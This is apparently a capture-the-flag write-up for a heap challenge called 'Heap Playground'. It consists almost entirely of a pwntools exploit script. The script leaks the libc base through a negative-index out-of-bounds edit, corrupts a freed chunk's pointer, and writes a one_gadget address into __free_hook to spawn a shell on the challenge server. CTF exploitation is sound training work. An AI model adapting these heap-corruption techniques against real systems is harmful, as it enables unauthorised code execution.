day 11 - Heap Playground [general]

day 11 - Heap Playground

Just another heap challenge.

exploit

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'split-window']

BINARY = '/home/vagrant/heap-playground'
LIBC = '/home/vagrant/libc-2.27.so'
LD = '/lib64/ld-linux-x86-64.so.2'
HOST, PORT = '3.93.128.89', 1215

elf = ELF(BINARY)
libc = ELF(LIBC)

def debug(breakpoints):
    script = ""
    for bp in breakpoints:
        script += "b *0x%x\n"%(bp)
    gdb.attach(p, gdbscript=script)

def start():
    if not args.REMOTE:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

def ru(s):
    return p.recvuntil(s)

def wr(s):
    p.send(s)

def wmenu():
    ru("Choice: ")

def add(size, data):
    wmenu()
    wr("1\n")
    ru("Size of the chunk: ")
    wr("%d\n" % (size))
    ru("Content: ")
    wr(data + "\n")
    ru("Created chunk ")
    chunk_id = int(ru("\n").split("\n")[0])
    return chunk_id

def edit(idx, offset, char):
    wmenu()
    wr("4\n")
    ru("ID of chunk: ")
    wr("%d\n" % (idx))
    ru("Index of character to edit: ")
    wr("%d\n" % (offset))
    ru("Character: ")
    wr("%s\n" % char)

def delete(idx):
    wmenu()
    wr("2\n")
    ru("ID of chunk: ")
    wr("%d\n" % idx)

def get(idx):
    wmenu()
    wr("3\n")
    ru("ID of chunk: ")
    wr("%d\n" % idx)
    d = ru("1. Create chunk\n").split("Chunk %d:\n" % idx)[1].split("\n1. Create chunk\n")[0]
    return d

p = start()

# debug([])

## set up rel-r/w window and leak libc base
add(13, "A")
add(0x400, "B")
add(0x400, "C")
edit(1, -2147483648, "X")
delete(2)

## create some temp chunks to bump the max id up
for i in xrange(16):
    print "DUMMY %d" % (i)
    add(0x400, "A")
    delete(4+i)

for i in xrange(0x20):
    edit(1, i, "Y")
data = get(1)

print repr(data)

libc_leak = struct.unpack("<Q", data[0x20:] + "\x00\x00")[0]
libc_delta = 0x3ebca0
libc_base = libc_leak - libc_delta

print "LIBC BASE = %016x" % (libc_base)

## overwrite next pointer of third chunk
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322
#one_gadget = libc_base + 0x10a38c

logfacility_offs = 0x3eb34c
german_offs      = 0x3e94a4
malloc_hook_offs = 0x3ebc30
free_hook_offs   = 0x3ed8e8

target_offs = free_hook_offs

ptr = (libc_base + german_offs)
ptr_s = struct.pack("<Q", ptr)
for i in xrange(6):
    edit(1, 0x448 + i, ptr_s[i])

print "GERMANY    @ 0x%x" % (libc_base + german_offs)
print "FREEHOOK   @ 0x%x" % (libc_base + target_offs)

ptr = one_gadget # libc_base + logfacility_offs
ptr_s = struct.pack("<Q", ptr)
for i in xrange(6):
    print "HAX %d" % ((target_offs - (german_offs + 0x10)) + i)
    edit(0xd, (target_offs - (german_offs + 0x10)) + i, ptr_s[i])


# trigger malloc_hook
# add(0x400, "B")

# trigger free hook
delete(1)

print "*** MAYBE WE GET SHELL NOW??"

p.interactive()